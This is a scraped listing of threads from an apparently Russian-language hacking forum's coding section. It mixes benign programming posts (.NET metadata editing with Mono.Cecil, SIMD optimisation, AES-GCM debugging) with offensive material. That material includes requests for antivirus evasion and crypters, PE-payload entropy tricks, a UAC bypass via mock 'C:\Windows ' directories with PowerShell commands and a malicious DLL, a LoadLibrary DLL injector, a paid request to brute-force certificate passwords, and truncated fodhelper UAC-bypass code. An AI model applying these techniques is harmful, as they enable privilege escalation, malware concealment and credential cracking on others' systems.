CustomAttribute attr = assembly.CustomAttributes.Where(c => c.AttributeType.Name == "TargetFrameworkAttribute").FirstOrDefault();
// Заменяем на новое значение
attr.ConstructorArguments[0] = new CustomAttributeArgument(attr.ConstructorArguments[0].Type, ".NETFramework,Version=v4.6.2");
// Так же применяем остальное
assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.8.3928.0", "v2.0.50727.4927" и.т.д
assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0

Описание атрибутов и.т.д :

  • ConstructorArguments- это коллекция аргументов, используемая для инициализации конструктора определенного объекта.
    Она представляет собой набор пар имен и значений, которые передаются в качестве параметров для инициализации объекта.
  • CustomAttributeArgumentпредставляет собой аргумент для атрибута класса. Возможны два типа аргументов: значения и типы.
    Для значений могут быть использованы любые поддерживаемые цецильными типы, включая строки, массивы и перечисления. Для этого типа используется тип TypeReference.
  • EntryPoint- это точка входа приложения
  • RuntimeVersion- это версия общеязыковой среды выполнения (CLR), необходимая для запуска сборки. (Значение Runtime Version будет иметь вид «vX.X.XXXXX», где первые две цифры обозначают основной номер версии CLR , а вторые две цифры — дополнительный номер версии.)
  • Runtime- это возвращает экземпляр среды выполнения, используемый для запуска программы.
  • CustomAttributes- это атрибуты, которые можно применять к типам и конструкциям управляемого кода.
    Они предоставляют дополнительные сведения о классах, методах, структурах, перечислениях, интерфейсах и полях.
    Они могут содержать информацию о происхождении кода, версиях, авторстве, и т.д.
  • MainModule.TypeSystem.String - это стандартный тип данных System.String в Mono.Cecil. Он используется для представления строковых констант в скомпилированном коде.
    Этот тип обычно используется для представления текстовых данных в других типах данных, таких как массивы и кортежи.

Список атрибутов можете найти в классе: AssemblyInfo.cs или загрузив сборку в любой дизассемблер по типу: ILSpy, DnSpy и там смотреть список атрибутов.
Вот общий список стандартных атрибутов сборки .NET:

CompilationRelaxationsAttribute - int
RuntimeCompatibilityAttribute - bool
DebuggableAttribute - enum
AssemblyTitleAttribute - string
AssemblyDescriptionAttribute - string
AssemblyConfigurationAttribute - string
AssemblyCompanyAttribute - string
AssemblyProductAttribute - string
AssemblyCopyrightAttribute - string
AssemblyTrademarkAttribute - string
ComVisibleAttribute - bool
GuidAttribute - Guid
AssemblyVersion - string
AssemblyFileVersionAttribute - string
TargetFrameworkAttribute - string

Click to expand...

Spoiler: Замена архитектуры процессора

Значение архитектуры зависит от процессорной платформы, на которой был собран модуль.
Это может быть одна из следующих архитектур:

  • MSIL- это абстрактный процессор, предназначенный для интерпретации или трансляции в другую архитектуру;
  • I386 (X86) - архитектура 32-разрядного процессора Intel;
  • ARM- архитектура 32-разрядного процессора для мобильных устройств;
  • IA64- архитектура 64-разрядного процессора Intel;
  • AMD64- архитектура 64-разрядного процессора AMD.

C#:Copy to clipboard

// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));
// Заменяем архитектуру процессора
assembly.MainModule.Architecture = TargetArchitecture.I386; // AnyCPU (предпочтительно 32-бит)
assembly.MainModule.Attributes |= ModuleAttributes.Required32Bit; // Устанавливаем нужный атрибут

Флаг ModuleAttributes.Required32Bit указывает, что для модуля требуется загрузка 32-разрядного образа, даже если процессор способен запускать 64-разрядный образ.
Другими атрибутами, составляющими перечисление ModuleAttributes, являются:

  • ModuleAttributes.ILOnly — указывает, что модуль содержит только инструкции промежуточного языка (IL) и не содержит собственного кода.
  • ModuleAttributes.Required — указывает, что модуль требует загрузки изображения.
  • ModuleAttributes.StrongNameSigned — указывает, что модуль подписан подписью строгого имени.
  • ModuleAttributes.Preferred32Bit — указывает, что модуль должен загружаться как 32-битный образ, даже если процессор способен запускать 64-битный образ.
  • ModuleAttributes.PE32Plus — указывает, что модуль представляет собой 64-битный образ.
    * ModuleAttributes.APTCA — указывает, что модуль является сборкой, подписанной Authenticode.
    * ModuleAttributes.UnmanagedExport — указывает, что модуль содержит неуправляемые экспорты.

Ну и по стандарту, нужно же сохранить как-то модифицированную сборку

C#:Copy to clipboard

assembly.Write("application.exe"); // Метод Write - сохраняет изменения перезаписывая файл.
Какой лучший обфускатор для С#?
ID: 6765d804b4103b69df37581c
Thread ID: 81274
Created: 2023-02-04T22:29:46+0000
Last Post: 2023-02-19T03:59:21+0000
Author: elvira
Replies: 2 Views: 856

Я хочу защитить свой код на C# от просмотра. Я знаю, что кто-то все равно сможет его расшифровать, но что я могу сделать, чтобы лучше защитить код?
Спасибо за ответы! Хорошие форумы.

Сиши или Нети?
ID: 6765d804b4103b69df3759d8
Thread ID: 48376
Created: 2021-02-20T05:53:32+0000
Last Post: 2021-02-20T10:34:53+0000
Author: arnis777
Replies: 5 Views: 855

Вылез вот такой вопросик? Что лучше учить и на чем больше можно поднимать: сиши или нети?

Ищу панель администратора на PHP для контроля приложения на C#
ID: 6765d804b4103b69df3759e1
Thread ID: 47681
Created: 2021-02-05T18:11:48+0000
Last Post: 2021-02-09T14:12:17+0000
Author: What So Not
Replies: 5 Views: 854

функционал минимальный, нужна простецкая панель где вводят ключ для авторизации в приложение и срок ключа

MinGW32 __readfsdword
ID: 6765d804b4103b69df3758fe
Thread ID: 62963
Created: 2022-02-14T15:30:51+0000
Last Post: 2022-02-15T10:08:27+0000
Author: awaken1337
Replies: 25 Views: 850

Есть ли какое-то кастомное решение функции __readfsdword в MinGW32 ?

Какой язык начать учить? Помогите юному подавану
ID: 6765d804b4103b69df3758cf
Thread ID: 65978
Created: 2022-04-21T20:04:43+0000
Last Post: 2022-04-27T21:27:45+0000
Author: scherber99
Replies: 25 Views: 846

Рассматриваю язык Java, вроде как на нем можно все что угодно писать. Дайте пример что можно делать с ним
Как узнать какой язык учить?
Как вы начали учить Java? Книжки? Ютуб?
Заранее спасибо ^_^

C++ - Error linking Python Libraries
ID: 6765d804b4103b69df3759e8
Thread ID: 47057
Created: 2021-01-20T22:51:06+0000
Last Post: 2021-01-21T06:42:17+0000
Author: MoPharma
Replies: 4 Views: 840

Hello, Im trying to link python for execute this code:

Code:Copy to clipboard

#include <Python.h>

int main(int argc, char *argv[])
{
    Py_SetProgramName((wchar_t *)argv[0]);  /* optional but recommended */
    Py_Initialize();
    PyRun_SimpleString("from time import time,ctime\n"
        "print('Today is', ctime(time()))\n");
    Py_Finalize();
    return 0;
}

Code:Copy to clipboard

But I got this error:
||=== Build: Debug in test (compiler: GNU GCC Compiler) ===|
obj\Debug\main.o||In function `main':|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|5|undefined reference to `__imp_Py_SetProgramName'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|6|undefined reference to `__imp_Py_Initialize'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|8|undefined reference to `__imp_PyRun_SimpleStringFlags'|
C:\Users\xxxxxxxxxxxxxxxxxxxxxx\test\test\main.cpp|9|undefined reference to `__imp_Py_Finalize'|
||error: ld returned 1 exit status|
||=== Build failed: 5 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|

I linked 'python\include' and 'python\libs', anyone how what I can do?
Im using Codeblocks and MinGW.

SIMD | Сверхоптимизация
ID: 6765d804b4103b69df37587c
Thread ID: 74578
Created: 2022-10-22T13:46:14+0000
Last Post: 2022-10-22T16:21:39+0000
Author: quiedcpp
Prefix: Статья
Replies: 5 Views: 839

Если в друх словах: Это возможность (команды), позволяющте выполнять операции на большом количестве данных за одну операцию.
В случае x86 процессоров это инструкции сделанные в расширениях MMX, SSE, SSE2, SSE3, SSE4, SSE4.1, SSE4.2, AVX, AVX2, AVX51

(Далее идёт краткий пересказ одной давней статьи как напоминание что есть такие вещи, хоть и редко используются)

Spoiler: Задача

Дан неупорядоченный массив arr с числами типа uint16_t. Необходимо найти количество вхождений числа v в массив arr.

Класическое решение:

C++:Copy to clipboard

int64_t cnt = 0;
for (int i = 0; i < ARR_SIZE; ++i)
    if (arr[i] == v)
        ++cnt;

Benchmark: Time - 2084ns | Iterations - 333079 (Запомните это)

Что такое SIMD​

SIMD (Single Instruction, Multiple Data) — одиночный поток команд, множественный поток данных. В x86 совместимых процессорах эти команды были реализованы в нескольких поколениях SSE и AVX расширениях процессора. Команд довольно много, полный список от Intel можно посмотреть на странице software.intel.com/sites/landingpage/IntrinsicsGuide. В десктопных процессорах AVX расширения недоступны, поэтому сосредоточимся на SSE.

Для работы с SIMD в C/C++ в код надо добавить

C++:Copy to clipboard

#include <x86intrin.h>

Что же можно ускорить в коде из 3 строк?

Хорошо бы уменьшить количество итераций и проводить сравнение сразу с несколькими элементами за один цикл. Открываем сайт от Intel, выбираем только SSE расширения и категорию «Compare». Первыми в списке идёт семейство функций __m128i _mm_cmpeq_epi* (__m128i a, __m128i b).

Вариант 1​

C++:Copy to clipboard

int64_t cnt = 0;

// Превращаем искомое значение в "массив" из 8 одинаковых элементов
auto sseVal = _mm_set1_epi16(VAL);
for (int i = 0; i < ARR_SIZE; i += 8) {
    // Для каждого блока из 8 элементов помещаем в переменную для сравнения
    auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2], arr[i + 1], arr[i]);
    // Получаем количество совпадений * 2
    cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
}
// Делим на 2
cnt >>= 1;

Benchmark: Time - 937 ns | Iterations - 746435
Это далеко не предел.

Spoiler: Ассемблер

Code:Copy to clipboard

--------------- Копирование 8 элементов в sseArr ---------------
            auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
  40133a:       48 8b 05 77 1d 20 00    mov    0x201d77(%rip),%rax        # 6030b8 <_ZL3arr>
                                        arr[i + 1], arr[i]);
  401341:       48 63 8d 9c fe ff ff    movslq -0x164(%rbp),%rcx
            auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
  401348:       66 8b 54 48 0e          mov    0xe(%rax,%rcx,2),%dx
  40134d:       66 8b 74 48 0c          mov    0xc(%rax,%rcx,2),%si
  401352:       66 8b 7c 48 0a          mov    0xa(%rax,%rcx,2),%di
  401357:       66 44 8b 44 48 08       mov    0x8(%rax,%rcx,2),%r8w
  40135d:       66 44 8b 4c 48 06       mov    0x6(%rax,%rcx,2),%r9w
  401363:       66 44 8b 54 48 04       mov    0x4(%rax,%rcx,2),%r10w
                                        arr[i + 1], arr[i]);
  401369:       66 44 8b 1c 48          mov    (%rax,%rcx,2),%r11w
  40136e:       66 8b 5c 48 02          mov    0x2(%rax,%rcx,2),%bx
            auto sseArr = _mm_set_epi16(arr[i + 7], arr[i + 6], arr[i + 5], arr[i + 4], arr[i + 3], arr[i + 2],
  401373:       66 89 55 ce             mov    %dx,-0x32(%rbp)
  401377:       66 89 75 cc             mov    %si,-0x34(%rbp)
  40137b:       66 89 7d ca             mov    %di,-0x36(%rbp)
  40137f:       66 44 89 45 c8          mov    %r8w,-0x38(%rbp)
  401384:       66 44 89 4d c6          mov    %r9w,-0x3a(%rbp)
  401389:       66 44 89 55 c4          mov    %r10w,-0x3c(%rbp)
  40138e:       66 89 5d c2             mov    %bx,-0x3e(%rbp)
  401392:       66 44 89 5d c0          mov    %r11w,-0x40(%rbp)
  401397:       44 0f b7 75 c0          movzwl -0x40(%rbp),%r14d
  40139c:       c4 c1 79 6e c6          vmovd  %r14d,%xmm0
  4013a1:       44 0f b7 75 c2          movzwl -0x3e(%rbp),%r14d
  4013a6:       c4 c1 79 c4 c6 01       vpinsrw $0x1,%r14d,%xmm0,%xmm0
  4013ac:       44 0f b7 75 c4          movzwl -0x3c(%rbp),%r14d
  4013b1:       c4 c1 79 c4 c6 02       vpinsrw $0x2,%r14d,%xmm0,%xmm0
  4013b7:       44 0f b7 75 c6          movzwl -0x3a(%rbp),%r14d
  4013bc:       c4 c1 79 c4 c6 03       vpinsrw $0x3,%r14d,%xmm0,%xmm0
  4013c2:       44 0f b7 75 c8          movzwl -0x38(%rbp),%r14d
  4013c7:       c4 c1 79 c4 c6 04       vpinsrw $0x4,%r14d,%xmm0,%xmm0
  4013cd:       44 0f b7 75 ca          movzwl -0x36(%rbp),%r14d
  4013d2:       c4 c1 79 c4 c6 05       vpinsrw $0x5,%r14d,%xmm0,%xmm0
  4013d8:       44 0f b7 75 cc          movzwl -0x34(%rbp),%r14d
  4013dd:       c4 c1 79 c4 c6 06       vpinsrw $0x6,%r14d,%xmm0,%xmm0
  4013e3:       44 0f b7 75 ce          movzwl -0x32(%rbp),%r14d
  4013e8:       c4 c1 79 c4 c6 07       vpinsrw $0x7,%r14d,%xmm0,%xmm0
  4013ee:       c5 f9 7f 45 b0          vmovdqa %xmm0,-0x50(%rbp)
  4013f3:       c5 f9 6f 45 b0          vmovdqa -0x50(%rbp),%xmm0
  4013f8:       c5 f9 7f 85 80 fe ff    vmovdqa %xmm0,-0x180(%rbp)
  4013ff:       ff
--------------- Подсчёт совпавших элементов ---------------
            cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
  401400:       c5 f9 6f 85 a0 fe ff    vmovdqa -0x160(%rbp),%xmm0
  401407:       ff
  401408:       c5 f9 6f 8d 80 fe ff    vmovdqa -0x180(%rbp),%xmm1
  40140f:       ff
  401410:       c5 f9 7f 45 a0          vmovdqa %xmm0,-0x60(%rbp)
  401415:       c5 f9 7f 4d 90          vmovdqa %xmm1,-0x70(%rbp)
  40141a:       c5 f9 6f 45 a0          vmovdqa -0x60(%rbp),%xmm0
  40141f:       c5 f9 6f 4d 90          vmovdqa -0x70(%rbp),%xmm1
  401424:       c5 f9 75 c1             vpcmpeqw %xmm1,%xmm0,%xmm0
  401428:       c5 f9 7f 45 80          vmovdqa %xmm0,-0x80(%rbp)
  40142d:       c5 f9 6f 45 80          vmovdqa -0x80(%rbp),%xmm0
  401432:       c5 79 d7 f0             vpmovmskb %xmm0,%r14d
  401436:       44 89 b5 7c ff ff ff    mov    %r14d,-0x84(%rbp)
  40143d:       44 8b b5 7c ff ff ff    mov    -0x84(%rbp),%r14d
  401444:       f3 45 0f b8 f6          popcnt %r14d,%r14d
  401449:       49 63 c6                movslq %r14d,%rax
  40144c:       48 03 85 b8 fe ff ff    add    -0x148(%rbp),%rax
  401453:       48 89 85 b8 fe ff ff    mov    %rax,-0x148(%rbp)

Видно, что очень много команд процессора занимает копирование элементов массива в sseArr.

Вариант 2​

C++:Copy to clipboard

int64_t cnt = 0;

auto sseVal = _mm_set1_epi16(VAL);
    for (int i = 0; i < ARR_SIZE; i += 8) {
        auto sseArr = _mm_loadu_si128((__m128i *) &arr[i]);
        cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
    }

Benchmark: Time - 454 ns | Iterations - 1548455

Вариант 3​

SSE инструкции работают с выровненной памятью по 16 байт. Функция _mm_loadu_si128 позволяет избежать это ограничение, но если выделять память под массив с помощью функции aligned_alloc(16, SZ), то можно будет напрямую передавать адрес в SSE инструкцию:

C++:Copy to clipboard

int64_t cnt = 0;

auto sseVal = _mm_set1_epi16(VAL);
for (int i = 0; i < ARR_SIZE; i += 8) {
    auto sseArr = *(__m128i *) &allignedArr[i];
    cnt += _popcnt32(_mm_movemask_epi8(_mm_cmpeq_epi16(sseVal, sseArr)));
}

Benchmark: Time - 395 ns | Iterations - 1770803

Все приведённые ассемблерные листинги были получены после компиляции с -O0. Если включить -O3, то компилятор довольно хорошо оптимизирует код и такого разделения по времени уже не будет:
BM_Count - 129 ns | Iterations - 5359145
BM_SSE_COUNT_SET_EPI - 70 ns | Iterations - 9936200
BM_SSE_COUNT_LOADU - 49 ns | Iterations - 14187659
BM_SSE_COUNT_DIRECT - 53 ns | Iterations - 13401612

[C#] как спрятать свое чудо от антивирусов ?
ID: 6765d804b4103b69df3758d0
Thread ID: 65399
Created: 2022-04-08T23:18:11+0000
Last Post: 2022-04-25T04:19:16+0000
Author: MangaM
Replies: 11 Views: 836

Знаю что можно накинуть обфускатор и мусорного кода, но хотелось бы чего то еше, по сколько после обфускатора чистый exe начинает детектиться и приходится изьебнуться чтоб он стал чистым. Хотелось бы написать свой криптор для .NET но не понимаю в какую сторону вообще гуглить и с чего начать. Если кто-то знает за крипторы для .NET, то подскажите дураку, и подбросьте пару советов как еше можно обходить АВ по мимо крипторов и обфускаторов ?

Андроид
ID: 6765d804b4103b69df3756eb
Thread ID: 118273
Created: 2024-07-06T02:27:46+0000
Last Post: 2024-07-06T17:19:11+0000
Author: qvp
Replies: 4 Views: 836

Друзья, как решить проблему?

Software Engineer
ID: 6765d804b4103b69df375708
Thread ID: 112870
Created: 2024-04-19T10:56:45+0000
Last Post: 2024-04-25T06:42:58+0000
Author: SatoshiX
Replies: 9 Views: 836

Всем привет!
Хочу встать Software Engineer'ом
Но не знаю какой ЯП выбрать
Есть два варианта для меня
Python или С++
Что выбрать?

Помогите разобраться с криптом через WinAPI (CNG)
ID: 6765d804b4103b69df3756ae
Thread ID: 124374
Created: 2024-10-08T17:30:39+0000
Last Post: 2024-10-12T13:07:43+0000
Author: omar_hayat
Replies: 5 Views: 835

Всем привет!

Пытаю WinAPI`шную технологию шифрования данных через CNG с симметричным алгоритмом AES-GCM. Прочёл кучу теории. Просмотрел чуть меньше исходников под реализацию именно AES-GCM. Решил реализовать в таком виде исходный код

C++:Copy to clipboard

#include <windows.h>
#include <bcrypt.h>
#include <iostream>
#include <vector>
#include <string>

#pragma comment(lib, "bcrypt.lib")

void handleError(NTSTATUS status, const wchar_t* s) {
    if (status != STATUS_SUCCESS) {
        std::cerr << "Error: " << std::hex << status << std::endl;
        std::wcout << s << std::endl;
        exit(1);
    }
}

std::vector<BYTE> encrypt(const std::string& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv) {
    BCRYPT_ALG_HANDLE hAlg;
    BCRYPT_KEY_HANDLE hKey;
    DWORD cbData;
    NTSTATUS status;

    // Создаем алгоритм AES
    handleError(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0), L"Create AES");
    
    // Создаем ключ
    handleError(BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key.data(), key.size(), 0), L"Create key");

    // Устанавливаем параметры для GCM
    handleError(BCryptSetProperty(hKey, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0), L"Create GCM");
    handleError(BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Create IV");

    // Выделяем память для шифрованного текста
    std::vector<BYTE> ciphertext(plaintext.size());
    DWORD cbCiphertext = 0;

    // Шифруем данные
    handleError(BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), plaintext.size(), NULL, (PUCHAR)iv.data(), iv.size(),
                              ciphertext.data(), ciphertext.size(), &cbCiphertext, 0), L"Crypt");

    // Очищаем ресурсы
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    ciphertext.resize(cbCiphertext);
    return ciphertext;
}

int main() {
    // Пример данных
    std::string plaintext = "Hello, World!";
    
    // Ключ 16 байт для AES-128
    std::vector<BYTE> key = { 
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
    };
    
    //IV 12 байт (4 байта будет заполняться счётчиком
    std::vector<BYTE> iv = { 
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0a, 0x0b
    };

    // Шифруем
    std::vector<BYTE> ciphertext = encrypt(plaintext, key, iv);

    // Выводим шифрованные данные в шестнадцатичном формате
    for (BYTE byte : ciphertext) {
        std::cout << std::hex << (int)byte;
    }
    std::cout << std::endl;

    return 0;
}

Код отваливается на строке:

C++:Copy to clipboard

handleError(BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Create IV");

с ошибкой функции BCryptSetProperty 0xC000000D. Вроде этот код дешифруется так: STATUS_INVALID_PARAMETER.

Через пошаговую загрузку посмотрел какие значение всех параметров вводятся в функцию. Всё норм.
Вывел эти же значения через cout на экран. Так же всё на месте.

Решил поэкспериметировать со значениями iv. Увеличил до 16 байт. Тогда отвал переместился на строку

C++:Copy to clipboard

 handleError(BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), plaintext.size(), NULL, (PUCHAR)iv.data(), iv.size(),ciphertext.data(), ciphertext.size(), &cbCiphertext, 0), L"Crypt");

с тем же кодом ошибки.

Чтение документации с сайта мелкомягких даёт мало инфы. Вообще странно, что ошибка не указывает какой именно из параметров косячный.
Гугление особо не даёт инфы как эту проблему решать. Находил инфу по другим ЯП. Там помогало явное задание dwFlags=0. У меня он принимает это значение в качестве аргумента обоих функций.

Не знаю ещё в какую сторону капнут. Поэтому прошу помощи. Кто то знает как завести эту мелкомягкую балалайку?

Передача данных между сервером и клиентов VNC
ID: 6765d804b4103b69df3759ee
Thread ID: 46747
Created: 2021-01-14T18:35:40+0000
Last Post: 2021-01-15T04:03:39+0000
Author: Hunster
Replies: 3 Views: 833

Всем привет, пишу VNC, остановился над тем, что нужно передавать сжатые пиксели через инет. Тут на форме говорят, что нужно юзать VNC протокол. Не знаю на каком проекте смотреть использование этого протокола. Прошу кто знает поделится ссылкой на пример с VNC протоколом правильного и нормального

Bypassing UAC through DLL Injection
ID: 6765d804b4103b69df3759e3
Thread ID: 47390
Created: 2021-01-29T21:13:24+0000
Last Post: 2021-01-29T21:13:24+0000
Author: GlowingOne
Replies: 0 Views: 833

source: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

This technique involves a feature of Windows System, known as "mock directories", that permits user to create an "imitation" directory, and can be created by creating a directory than contains a trailing space in the end of the original path. Those cannot be created with Explorer UI, but can only if done through a program or a shell script. Also, requires a subdirectory.

An example of it could be:

Code:Copy to clipboard

C:\Windows \syswow64\

Windows allow under certain directories and for some apps, to bypass UAC and authentication prompt. Windows applies this clause also to applications inside a mock directory. So,if we copy a file from original directory to our mocked one, we can run this app as administrator and without UAC. We can also copy a dll, that is required by the application, with embedded and arbitrary code with it.

A list of vulnerable applications is available here.

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fa1aad5e532dbafb5572da491eb3c79da67f6cd688ebd7856fb4cc9518132d475%2Fwietze%2Fwindows- dll-hijacking&hash=259a33ab6a7e38ecef1bf9012e1f61ca&return_error=1)

[ windows-dll-hijacking/dll_hijacking_candidates.csv at master ·

wietze/windows-dll-hijacking ](https://github.com/wietze/windows-dll- hijacking/blob/master/dll_hijacking_candidates.csv)

Project for identifying executables and DLLs vulnerable to relative path DLL hijacking. - wietze/windows-dll-hijacking

github.com github.com

In order to proceed, we need to craft the malicious DLL. We need a DLL Template to craft one. We can obtain it by rebuilding the EAT, or to use a readily available source of that dll.

Other informations how to craft the DLL can be found here.

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fa1aad5e532dbafb5572da491eb3c79da67f6cd688ebd7856fb4cc9518132d475%2Fwietze%2Fwindows- dll-hijacking&hash=259a33ab6a7e38ecef1bf9012e1f61ca&return_error=1)

[ GitHub - wietze/windows-dll-hijacking: Project for identifying

executables and DLLs vulnerable to relative path DLL hijacking. ](https://github.com/wietze/windows-dll-hijacking)

Project for identifying executables and DLLs vulnerable to relative path DLL hijacking. - wietze/windows-dll-hijacking

github.com github.com

An example of weaponization of this technique is to download the dll and exe, then create the mock directory with this powershell command:

Code:Copy to clipboard

New-Item "\\?\C:\Windows \System32" -ItemType Directory #if the target dll is 64 bits

Code:Copy to clipboard

New-Item "\\?\C:\Windows \System32" -ItemType Directory #if the target dll is 32 bits

After that we can copy the DLL and App into the new directory just created and run them to execute Local Admin code without UAC prompt.

Seeking programmer for bruteforce C++ digital certificates
ID: 6765d804b4103b69df375706
Thread ID: 113067
Created: 2024-04-22T09:44:26+0000
Last Post: 2024-04-27T09:49:21+0000
Author: высокий_риск
Replies: 9 Views: 831

It is necessary that the code be written in C++ to take advantage of maximum performance and that the bruteforce does not depend on wordlists,need that are letter by letter, giving a choice between uppercase and lowercase letters, uppercase and lowercase + numbers and uppercase and lowercase + numbers + symbols , you must take advantage of the cuda cores of the gpu, in my basic knowledge I managed to do it in python but without taking advantage of the gpu, I have a budget of $1500 for the work, the delivery of the code will be with a guarantee once it is done to avoid problems, the certificate format is pfx, pkcs12 and p12

Непонятный краш
ID: 6765d804b4103b69df3759f3
Thread ID: 46455
Created: 2021-01-07T23:50:34+0000
Last Post: 2021-01-08T09:02:31+0000
Author: html5
Replies: 1 Views: 831

Есть определённая функция:

C++:Copy to clipboard

void TestFunc(wchar_t** out, wchar_t* in)
{
    int Len = lstrlenW(in);
    *out = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(wchar_t) * (lstrlenW(in) + 1));
   
    for (int i = 0; i < Len; i++)
    {
        *out[i] = in[i];
    }
}

Но при попытке работы с указателем происходит краш.

*out = in ;

Click to expand...

Помогите понять его причину

DLL инжектор не правильно работает (C#)
ID: 6765d804b4103b69df375854
Thread ID: 76405
Created: 2022-11-22T10:04:48+0000
Last Post: 2022-12-04T23:26:24+0000
Author: uglydavidka
Replies: 8 Views: 824

Помогитек плз, при вызове функции нужно:
1 открытие ксго
2 ожидание запуска процесса игры
3 инжект DLL в игру (lla метод)
4 перенос dll файла в папку

Но у меня просто открывается игра и инжектится софт (в одну секунду)
Надежда только на вас
Сам код

C#:Copy to clipboard

public static bool Inject(string dllpath)
        {
            string processname = "csgo";
            string dllpatch = @"C:\test.dll";
            Directory.CreateDirectory(PreInjection(@"C:\Windows"));
            Directory.CreateDirectory(PreInjection(@"C:\Windows\PrintDialog"));
            Directory.CreateDirectory(PreInjection(@"C:\Windows\PrintDialog\Assets"));
            Process.Start("steam://rungameid/730");
            while (Process.GetProcessesByName(processname).Length < 1)
            {
                return false;
            }
            var handle = OpenProcess((int)(PROCESS_ACCESS_FLAGS.PROCESS_VM_READ | PROCESS_ACCESS_FLAGS.PROCESS_VM_WRITE | PROCESS_ACCESS_FLAGS.PROCESS_VM_OPERATION), false, Process.GetProcessesByName(processname)[0].Id);
            var buffer = VirtualAllocEx(handle, 0, dllpath.Length + 1, (int)MEMORY_ACCESS_FLAGS.MEM_COMMIT, (int)PAGE_ACCESS_FLAGS.PAGE_READWRITE);
            WriteProcessMemory(handle, buffer, Marshal.StringToHGlobalAnsi(dllpath), dllpath.Length + 1, 0);
            WaitForSingleObject(CreateRemoteThread(handle, IntPtr.Zero, 0, GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA"), buffer, 0, 0), -1);
            VirtualFreeEx(handle, buffer, 0, (int)MEMORY_ACCESS_FLAGS.MEM_RELEASE);
            Random r = new Random();
            File.Move(dllpath, PreInjection(@"C:\Windows\PrintDialog\Assets") + @"\asset" + r.Next(0, 255) + ".dll");
            return true;
        }
Linux System Programming, 2nd Edition
ID: 6765d804b4103b69df375921
Thread ID: 60785
Created: 2022-01-03T05:44:09+0000
Last Post: 2022-01-03T05:44:09+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 0 Views: 822

Книга по системному кодингу в линуксе

[ lav_r_linux_sistemnoe_programmirovanie.pdf - AnonFiles

](https://anonfiles.com/F2g3N748x2/lav_r_linux_sistemnoe_programmirovanie_pdf)

anonfiles.com anonfiles.com

p.s. эту книгу рекомендует Vitaly Nikolenko в своих курсах по эксплуатации ядра Linux.

Шифрование бинаря и высокая энтропия в LoadPE
ID: 6765d804b4103b69df37588c
Thread ID: 73225
Created: 2022-09-15T14:09:58+0000
Last Post: 2022-09-18T15:15:26+0000
Author: distamx
Replies: 13 Views: 821

Имеется LoadPE с запуском RAW PE файла из секции .data (обычный массив байтов unsigned char rawData[] ={ ... } полученный из HXD). Оставлять его голым, как и просто ксорить не хочется и бесполезно.
Испробован обычный XOR (эмулируется), Base64 (эмулируется), GZIP (очень высокая энтропия), GZIP+BASE64 (энтропия 6 но дает практически ровную кривую энтропии), GZIP+BASE64+XOR (особого смысла нету), генерация PE заголовка в рантайме. Вешается статик детект (если не локально, то в облаке) на массив байтов по алгосу/энтропии/ровной кривой энтропии. Детекта на уже расшифрованный файл как и его использование нету.


Есть ли смысл разбавлять код [«однородным мусором»](https://wasm.in/blogs/staticheskoe-detektirovanie-fajlov- chast-1-struktura-i-dannye.545/) (раздувая файл и с последующей резкой мусора)? Может быть есть эффективный алгоритм который не раздует файл и который не так просто сэмулировать до запуска, или затея бесполезна? (приходила идея порезать файл на совпадения по байтам и его генерацию в рантайме по индексу в массиве, заполнение в цикле).

Three methods to bypass UAC that work on most versions
ID: 6765d804b4103b69df3756e7
Thread ID: 119068
Created: 2024-07-17T15:45:16+0000
Last Post: 2024-07-17T15:45:16+0000
Author: xakep64
Replies: 0 Views: 818

1 method via fodhelper

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;
using Microsoft.Win32;
using System.Diagnostics;

namespace UAC_Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            // Payload to be executed
            Console.WriteLine("[+] Starting Bypass UAC.");

            string payload = "";

            if (args.Length > 0)
            {
                payload = args[0];
                Console.WriteLine(@"[+] Payload to be Executed " + payload);
            }
            else
            {
                Console.WriteLine("[+] No Payload specified. Executing cmd.exe.");
